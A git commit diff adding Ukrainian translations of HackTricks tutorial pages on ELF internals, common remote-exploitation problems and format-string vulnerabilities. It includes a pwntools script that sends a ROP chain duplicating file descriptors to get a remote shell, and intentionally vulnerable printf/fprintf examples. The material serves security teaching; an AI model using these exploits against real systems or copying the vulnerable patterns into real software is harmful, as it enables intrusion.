Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo

This commit is contained in:
Translator 2024-07-18 22:16:42 +00:00
parent a48713db5d
commit fcbd2952d9
142 changed files with 13622 additions and 8653 deletions

View file

@ -0,0 +1,393 @@
# ELF Основна Інформація
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
</details>
{% endhint %}
## Заголовки програми
Вони описують завантажувачу, як завантажити **ELF** в пам'ять:
```bash
readelf -lW lnstat
Elf file type is DYN (Position-Independent Executable file)
Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
```
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Program HeaDeR
Містить таблиці заголовків програми та саму метадані.
### INTERP
Вказує шлях завантажувача, який потрібно використовувати для завантаження бінарного файлу в пам'ять.
### LOAD
Ці заголовки використовуються для вказівки **як завантажити бінарний файл в пам'ять.**\
Кожен **LOAD** заголовок вказує на область **пам'яті** (розмір, дозволи та вирівнювання) і вказує байти ELF **бінарного файлу, які потрібно скопіювати туди**.
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
Цей заголовок допомагає зв'язувати програми з їхніми бібліотечними залежностями та застосовувати перенесення. Перевірте секцію **`.dynamic`**.
### NOTE
Це зберігає інформацію про метадані постачальника бінарного файлу.
### GNU\_EH\_FRAME
Визначає місцезнаходження таблиць розгортання стеку, які використовуються відладчиками та функціями обробки виключень C++.
### GNU\_STACK
Містить конфігурацію захисту від виконання стеку. Якщо увімкнено, бінарний файл не зможе виконувати код зі стеку.
### GNU\_RELRO
Вказує конфігурацію RELRO (Relocation Read-Only) бінарного файлу. Цей захист позначить як тільки для читання певні секції пам'яті (як `GOT` або таблиці `init` та `fini`) після завантаження програми та перед її виконанням.
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
### TLS
Визначає таблицю записів TLS, яка зберігає інформацію про локальні для потоку змінні.
## Section Headers
Заголовки секцій надають більш детальний огляд ELF бінарного файлу.
```
objdump lnstat -h
lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
It also indicates the location, offset, permissions but also the **type of data** it section has.
### Meta Sections
* **String table**: Він містить усі рядки, необхідні для ELF-файлу (але не ті, які фактично використовуються програмою). Наприклад, він містить назви секцій, такі як `.text` або `.data`. І якщо `.text` знаходиться на зсуві 45 у таблиці рядків, він використовуватиме число **45** у полі **name**.
* Щоб знайти, де знаходиться таблиця рядків, ELF містить вказівник на таблицю рядків.
* **Symbol table**: Він містить інформацію про символи, такі як ім'я (зсув у таблиці рядків), адреса, розмір та інші метадані про символ.
### Main Sections
* **`.text`**: Інструкція програми для виконання.
* **`.data`**: Глобальні змінні з визначеним значенням у програмі.
* **`.bss`**: Глобальні змінні, які залишилися неініціалізованими (або ініціалізовані до нуля). Змінні тут автоматично ініціалізуються до нуля, тим самим запобігаючи додаванню непотрібних нулів до бінарного файлу.
* **`.rodata`**: Константні глобальні змінні (секція тільки для читання).
* **`.tdata`** і **`.tbss`**: Як .data і .bss, коли використовуються локальні для потоку змінні (`__thread_local` у C++ або `__thread` у C).
* **`.dynamic`**: Дивіться нижче.
## Symbols
Symbols - це іменоване місце в програмі, яке може бути функцією, глобальним об'єктом даних, локальними для потоку змінними...
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
Кожен запис символу містить:
* **Ім'я**
* **Атрибути зв'язування** (слабкий, локальний або глобальний): Локальний символ може бути доступний лише самою програмою, тоді як глобальний символ спільний за межами програми. Слабкий об'єкт, наприклад, це функція, яку можна переопределити іншою.
* **Тип**: NOTYPE (тип не вказано), OBJECT (глобальна змінна даних), FUNC (функція), SECTION (секція), FILE (файл вихідного коду для налагоджувачів), TLS (змінна локального потоку), GNU\_IFUNC (непряма функція для релокації)
* **Індекс секції**, де він розташований
* **Значення** (адреса в пам'яті)
* **Розмір**
## Динамічна секція
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
The NEEDED directory indicates that the program **потребує завантажити згадану бібліотеку** для продовження. The NEEDED directory completes once the shared **бібліотека повністю функціонує і готова** до використання.
## Relocations
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
000000020008 000000000403 R_AARCH64_RELATIV 20008
000000020010 000000000403 R_AARCH64_RELATIV 3330
000000020030 000000000403 R_AARCH64_RELATIV 3338
000000020050 000000000403 R_AARCH64_RELATIV 3340
000000020070 000000000403 R_AARCH64_RELATIV 3348
000000020090 000000000403 R_AARCH64_RELATIV 3350
0000000200b0 000000000403 R_AARCH64_RELATIV 3358
0000000200d0 000000000403 R_AARCH64_RELATIV 3360
0000000200f0 000000000403 R_AARCH64_RELATIV 3370
000000020110 000000000403 R_AARCH64_RELATIV 3378
000000020130 000000000403 R_AARCH64_RELATIV 3380
000000020150 000000000403 R_AARCH64_RELATIV 3388
00000001ffb8 000a00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_deregisterTM[...] + 0
00000001ffc0 000b00000401 R_AARCH64_GLOB_DA 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
00000001ffc8 000f00000401 R_AARCH64_GLOB_DA 0000000000000000 stderr@GLIBC_2.17 + 0
00000001ffd0 001000000401 R_AARCH64_GLOB_DA 0000000000000000 optarg@GLIBC_2.17 + 0
00000001ffd8 001400000401 R_AARCH64_GLOB_DA 0000000000000000 stdout@GLIBC_2.17 + 0
00000001ffe0 001e00000401 R_AARCH64_GLOB_DA 0000000000000000 __gmon_start__ + 0
00000001ffe8 001f00000401 R_AARCH64_GLOB_DA 0000000000000000 __stack_chk_guard@GLIBC_2.17 + 0
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
00000001fe88 000600000402 R_AARCH64_JUMP_SL 0000000000000000 fputs@GLIBC_2.17 + 0
00000001fe90 000700000402 R_AARCH64_JUMP_SL 0000000000000000 exit@GLIBC_2.17 + 0
00000001fe98 000800000402 R_AARCH64_JUMP_SL 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
00000001fea0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0
00000001fea8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
00000001feb0 000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0
00000001feb8 000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0
00000001fec0 000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0
00000001fec8 001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0
00000001fed0 001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0
00000001fed8 001300000402 R_AARCH64_JUMP_SL 0000000000000000 malloc@GLIBC_2.17 + 0
00000001fee0 001500000402 R_AARCH64_JUMP_SL 0000000000000000 gettimeofday@GLIBC_2.17 + 0
00000001fee8 001600000402 R_AARCH64_JUMP_SL 0000000000000000 sleep@GLIBC_2.17 + 0
00000001fef0 001700000402 R_AARCH64_JUMP_SL 0000000000000000 __vfprintf_chk@GLIBC_2.17 + 0
00000001fef8 001800000402 R_AARCH64_JUMP_SL 0000000000000000 calloc@GLIBC_2.17 + 0
00000001ff00 001900000402 R_AARCH64_JUMP_SL 0000000000000000 rewind@GLIBC_2.17 + 0
00000001ff08 001a00000402 R_AARCH64_JUMP_SL 0000000000000000 strdup@GLIBC_2.17 + 0
00000001ff10 001b00000402 R_AARCH64_JUMP_SL 0000000000000000 closedir@GLIBC_2.17 + 0
00000001ff18 001c00000402 R_AARCH64_JUMP_SL 0000000000000000 __stack_chk_fail@GLIBC_2.17 + 0
00000001ff20 001d00000402 R_AARCH64_JUMP_SL 0000000000000000 strrchr@GLIBC_2.17 + 0
00000001ff28 001e00000402 R_AARCH64_JUMP_SL 0000000000000000 __gmon_start__ + 0
00000001ff30 002000000402 R_AARCH64_JUMP_SL 0000000000000000 abort@GLIBC_2.17 + 0
00000001ff38 002100000402 R_AARCH64_JUMP_SL 0000000000000000 feof@GLIBC_2.17 + 0
00000001ff40 002200000402 R_AARCH64_JUMP_SL 0000000000000000 getopt_long@GLIBC_2.17 + 0
00000001ff48 002300000402 R_AARCH64_JUMP_SL 0000000000000000 __fprintf_chk@GLIBC_2.17 + 0
00000001ff50 002400000402 R_AARCH64_JUMP_SL 0000000000000000 strcmp@GLIBC_2.17 + 0
00000001ff58 002500000402 R_AARCH64_JUMP_SL 0000000000000000 free@GLIBC_2.17 + 0
00000001ff60 002600000402 R_AARCH64_JUMP_SL 0000000000000000 readdir64@GLIBC_2.17 + 0
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
00000001ff98 002d00000402 R_AARCH64_JUMP_SL 0000000000000000 strncpy@GLIBC_2.17 + 0
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### Статичні перенесення
Якщо **програма завантажується в місце, відмінне** від бажаної адреси (зазвичай 0x400000), тому що адреса вже використовується або через **ASLR**, або з будь-якої іншої причини, статичне перенесення **виправляє вказівники**, які мали значення, очікуючи, що бінарник буде завантажено за бажаною адресою.
Наприклад, будь-який розділ типу `R_AARCH64_RELATIV` повинен мати змінену адресу за рахунок зміщення перенесення плюс значення доданка.
### Динамічні перенесення та GOT
Перенесення також може посилатися на зовнішній символ (наприклад, функцію з залежності). Як функція malloc з libC. Тоді завантажувач, завантажуючи libC за адресою, перевіряючи, де завантажена функція malloc, запише цю адресу в таблицю GOT (Global Offset Table) (вказану в таблиці перенесення), де повинна бути вказана адреса malloc.
### Таблиця зв'язків процедур
Розділ PLT дозволяє виконувати ліниве зв'язування, що означає, що розв'язання місця розташування функції буде виконано перший раз, коли до неї звертаються.
Отже, коли програма викликає malloc, вона насправді викликає відповідне місце `malloc` в PLT (`malloc@plt`). Перший раз, коли його викликають, він розв'язує адресу `malloc` і зберігає її, тому наступного разу, коли викликається `malloc`, використовується ця адреса замість коду PLT.
## Ініціалізація програми
Після того, як програма була завантажена, настав час для її виконання. Однак перший код, який виконується, **не завжди є функцією `main`**. Це тому, що, наприклад, у C++, якщо **глобальна змінна є об'єктом класу**, цей об'єкт повинен бути **ініціалізований** **перед** виконанням main, як у:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
class AutoInit {
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
};
AutoInit autoInit;
int main() {
printf("Main\n");
return 0;
}
```
Зверніть увагу, що ці глобальні змінні розташовані в `.data` або `.bss`, але в списках `__CTOR_LIST__` та `__DTOR_LIST__` об'єкти для ініціалізації та деструкції зберігаються, щоб відстежувати їх.
З C-коду можливо отримати той же результат, використовуючи розширення GNU:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
З точки зору компілятора, щоб виконати ці дії до та після виконання функції `main`, можна створити функцію `init` та функцію `fini`, які будуть посилатися в динамічному розділі як **`INIT`** та **`FIN`**. Вони розміщуються в секціях `init` та `fini` ELF.
Інший варіант, як згадувалося, - це посилатися на списки **`__CTOR_LIST__`** та **`__DTOR_LIST__`** у записах **`INIT_ARRAY`** та **`FINI_ARRAY`** в динамічному розділі, а їхня довжина вказується **`INIT_ARRAYSZ`** та **`FINI_ARRAYSZ`**. Кожен запис є вказівником на функцію, яка буде викликана без аргументів.
Більше того, також можливо мати **`PREINIT_ARRAY`** з **вказівниками**, які будуть виконані **перед** вказівниками **`INIT_ARRAY`**.
### Порядок ініціалізації
1. Програма завантажується в пам'ять, статичні глобальні змінні ініціалізуються в **`.data`** та неініціалізовані обнуляються в **`.bss`**.
2. Всі **залежності** для програми або бібліотек **ініціалізуються**, і виконується **динамічне зв'язування**.
3. Виконуються функції **`PREINIT_ARRAY`**.
4. Виконуються функції **`INIT_ARRAY`**.
5. Якщо є запис **`INIT`**, він викликається.
6. Якщо це бібліотека, dlopen закінчується тут, якщо програма, час викликати **реальну точку входу** (функцію `main`).
## Локальне зберігання потоків (TLS)
Вони визначаються за допомогою ключового слова **`__thread_local`** в C++ або розширення GNU **`__thread`**.
Кожен потік буде підтримувати унікальне місце для цієї змінної, тому лише потік може отримати доступ до своєї змінної.
Коли це використовується, секції **`.tdata`** та **`.tbss`** використовуються в ELF. Вони подібні до `.data` (ініціалізовані) та `.bss` (не ініціалізовані), але для TLS.
Кожна змінна матиме запис у заголовку TLS, що вказує на розмір та зсув TLS, який є зсувом, який вона використовуватиме в локальній області даних потоку.
`__TLS_MODULE_BASE` - це символ, що використовується для посилання на базову адресу локального зберігання потоків і вказує на область пам'яті, що містить усі локальні дані потоку модуля.

View file

@ -0,0 +1,62 @@
# Загальні проблеми експлуатації
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
## FDs у віддаленій експлуатації
Коли ви надсилаєте експлойт на віддалений сервер, який викликає **`system('/bin/sh')`**, наприклад, це буде виконано в процесі сервера, і `/bin/sh` очікуватиме введення з stdin (FD: `0`) і виведе результат у stdout та stderr (FDs `1` та `2`). Отже, атакуючий не зможе взаємодіяти з оболонкою.
Спосіб вирішення цієї проблеми полягає в тому, щоб припустити, що коли сервер запустився, він створив **FD номер `3`** (для прослуховування), а потім ваше з'єднання буде в **FD номер `4`**. Тому можливо використовувати системний виклик **`dup2`**, щоб дублювати stdin (FD 0) та stdout (FD 1) у FD 4 (той, що належить з'єднанню атакуючого), щоб це зробило можливим зв'язок з оболонкою після її виконання.
[**Приклад експлойту звідси**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Зверніть увагу, що socat вже передає **`stdin`** та **`stdout`** до сокета. Однак, режим `pty` **включає символи DELETE**. Тому, якщо ви надішлете `\x7f` ( `DELETE` -) це **видалить попередній символ** вашого експлойту.
Щоб обійти це, **символ втечі `\x16` повинен бути попереджений перед будь-яким `\x7f`, що надсилається.**
**Тут ви можете** [**знайти приклад цієї поведінки**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,247 @@
# Форматні рядки
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
## Основна інформація
У C **`printf`** є функція, яка може бути використана для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирий текст з форматами**. **Наступні параметри**, які очікуються, - це **значення** для **заміни** **форматів** з сирого тексту.
Інші вразливі функції - це **`sprintf()`** та **`fprintf()`**.
Вразливість виникає, коли **текст зловмисника використовується як перший аргумент** для цієї функції. Зловмисник зможе створити **спеціальний вхід, зловживаючи** можливостями **форматного рядка printf** для читання та **запису будь-яких даних за будь-якою адресою (читабельною/записуваною)**. Таким чином, він зможе **виконувати довільний код**.
#### Формати:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Приклади:**
* Вразливий приклад:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
* Звичайне використання:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* З відсутніми аргументами:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
* fprintf вразливий:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
```
### **Доступ до вказівників**
Формат **`%<n>$x`**, де `n` - це число, дозволяє вказати printf вибрати n параметр (з стеку). Тож, якщо ви хочете прочитати 4-й параметр зі стеку, використовуючи printf, ви можете зробити:
```c
printf("%x %x %x %x")
```
і ви б читали з першого до четвертого параметра.
Або ви могли б зробити:
```c
printf("$4%x")
```
і безпосередньо прочитати четвертий.
